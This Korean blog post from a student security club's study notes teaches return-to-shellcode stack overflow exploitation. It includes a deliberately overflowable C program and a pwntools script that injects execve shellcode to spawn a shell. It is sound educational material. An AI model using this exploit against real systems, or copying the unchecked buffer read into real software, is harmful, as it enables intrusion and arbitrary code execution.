혜랑's STORY

[Lazenca] Return to Shellcode 본문

2021 SISS 21기 활동/1학기 시스템

[Lazenca] Return to Shellcode

hyerang0125 2021. 3. 30. 00:38

#Return to Shellcode

Return to Shellcode란 Return address 영역에 Shellcode가 저장된 주소로 변경해, Shellcode를 호출하는 방식이다.

CALL & RET instruction

  • CALL 명령어는 Return address(CALL 명령어 다음 명령어의 위치(주소값))를 Stack에 저장하고, 피연산자 주소로 이동한다.
  • RET 명령어는 POP 명령어를 이용해 RSP 레지스터가 가리키는 Stack영역에 저장된 값을 RIP(EIP)에 저장 후, 해당 주소로 이동한다.

-> Stack 영역에 저장된 Return address 값을 변경할 수 있다면 프로그램의 흐름을 변경할 수 있다.


1. Proof of concept

코드를 통해 CALL, RET 명령어에 대해 분석해보자.

//test.c
#include <stdio.h>
#include <unistd.h>
 
void vuln(){
}
 
void main(){
    vuln();
}

-> main() 함수에서 vuln() 함수를 호출하는 단순한 코드이고, vuln() 함수는 아무런 동작을 하지 않는다.

다음과 같이 Break point를 설정한다.

  • 0x4004e6 : vuln 함수를 호출하는 CALL 명령어 (0x4004eb : CALL 명령어 다음 명령어의 위치)

  • 0x4004d6 : vuln 함수의 첫번째 명령어

다음과 같이 CALL 명령어의 동작을 확인할 수 있습니다.

  • vuln() 함수의 호출 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffdd80이며, 해당 영역에 저장되어 있는 값은 0x4004f0 이다.

  • vuln() 함수 호출 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffdd78이며, 해당 영역에 저장되어 있는 값은 0x4004eb 이다.

-> 즉, CALL 명령어에 의해 Stack에 호출된 함수가 종료된 후에 이동할 주소 값을 저장한다.

다음과 같이 RET 명령어의 동작을 확인 할 수 있다.

  • RET 명령어가 실행 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffdd78이며, 해당 영역에 저장되어 있는 값은 0x4004eb 이다.

  • RET 명령어가 실행 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffdd80이며, 해당 영역에 저장되어 있는 값은 0x4004f0이다. RET 명령어에 의해 CALL 명령어 다음 명령어(0x4004eb)가 있는 곳으로 이동하였다.

  • RET 명령어에 의해 Stack에 저장된 값의 주소 값을 RIP 레지스터에 저장하여 해당 주소로 이동하게 된다.

-> 즉, Stack에 저장된 Return address를 변경 할 수 있다면, 공격자는 원하는 영역으로 이동할 수 있다.

다음과 같이 Stack Overwrite에 의해 변경된 Return address 영역으로 이동한다.

  • Return address 영역(0x7fffffffdd78)에 저장되어 있던 값은 main+14(0x4004eb)이다.

  • Stack overflow에 의해 해당 값(0x4004eb)이 0x4004d6(vuln+0)으로 변경될 수 있다. 위 예제에서는 편의를 위해 gdb의 set 명령어를 이용해 값을 변경하였다.

  • RET 명령어는 RSP 레지스터가 가리키는 주소의 값이 0x4004d6이기 때문에 0x4004d6 영역으로 이동한다.

-> 즉, Return address 영역에 Shellcode가 저장된 주소로 저장하면, 해당 영역으로 이동하게 된다.


2. Permissions in memory

Return to Shellcode를 이해하기 위해 Memory 권한에 대한 이해가 필요하다. 프로그램에서 사용되는 메모리 영역은 모두 아래와 같은 권한들이 설정되어 있다.

  • read(r) : 메모리 영역의 값을 읽을 수 있다.
  • write(w) : 메모리 영역에 값을 저장 할 수 있다.
  • excute(x) : 메모리 영역에서 코드를 실행 할 수 있다.

GCC는 기본적으로 DEP(Data Excution Prevention; 데이터 실행 방지)가 적용되기 때문에 코드가 저장된 영역에만 실행권한이 설정되며, 데이터가 저장되는 영역에는 실행권한이 설정되지 않는다.

-> 즉, Shellcode를 실행하기 위해 Shellcode가 저장된 영역은 excute 권한이 설정되어 있어야 한다.

  • DEP를 해제하기 위해 GCC(컴파일) 옵션으로 "-z execstack"를 추가해야 한다. 해단 옵션으로 인해 데이터 저장 영역에도 excute 권한이 설정되고, Stack에 저장된 Shellcode를 실행할 수 있다.

3. Proof of concept

Return to Shellcode를 확인하기 위해 다음 코드를 사용한다.

//poc.c
#include <stdio.h>
#include <unistd.h>
 
void vuln(){
    char buf[50];
    printf("buf[50] address : %p\n",buf);
    read(0, buf, 100);
}
 
void main(){
    vuln();
}

-> main() 함수는 vuln() 함수를 호출하고, vuln() 함수는 read() 함수를 이용해 사용자로부터 100개의 문자를 입력받는다. 이때, buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생한다.

Stack Overflow를 확인하기 위해 다음과 같이 Break point를 설정한다.

  • 0x400566 : vuln 함수의 첫번째 명령어
  • 0x400595 : read() 함수 호출
  • 0x40059c : vuln() 함수의 ret 명령어

다음과 같이 Return address를 확인할 수 있다.

  • rsp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0x7fffffffdd78이며, 해당 메모리에 vuln() 함수 종료 후 돌아갈 코드영역의 주소 값(0x4005ab)이 저장되어 있다.

다음과 같이 buf 변수의 주소를 확인 할 수 있다.

  • buf 변수의 위치는 0x7fffffffdd30이다.

  • Return address 위치와 72byte 떨어져 있다.

-> 즉, 사용자 입력 값으로 문자를 72개 이상 입력하면, Return address를 덮어쓸 수 있다.

다음과 같이 Return address 값이 변경된 것을 확인할 수 있다. ('A'로 도배됨)

-> 즉, 72개의 문자를 입력 후 shellcode가 저장된 주소를 저장하면 Return address를 덮어 쓸 수 있다.


4. Exploit

앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성 할 수 있다.

//exploit.py
from pwn import *
 
p = process('./poc')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
exploit += "\x90" * (72 - len(exploit))
exploit += p64(stackAddr)
p.send(exploit)
p.interactive()

해당 Exploit code를 실행하여 shell을 획득한다.


5. Protection

Memory 영역에서 코드가 실행되는 것을 차단하기 위해 NX Bit(DEP)를 적용 할 수 있다.


[출처]

 

02.Return to Shellcode - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return to Shellcode Return to Shellcode란 Return address 영역에 Shellcode가 저장된 주소로 변경해, Shellcode를 호출하는 방식입니다. CALL & RET instruction Return to Shellco

www.lazenca.net

 

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[HackCTF] Basic_BOF #1  (0) 2021.04.09
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.04.02
[TAMU CTF 2018] pwn3  (0) 2021.03.31
[HITCON-Training] lab3 - ret2sc  (0) 2021.03.30
IDA Pro 7.0 & pwntools  (0) 2021.03.26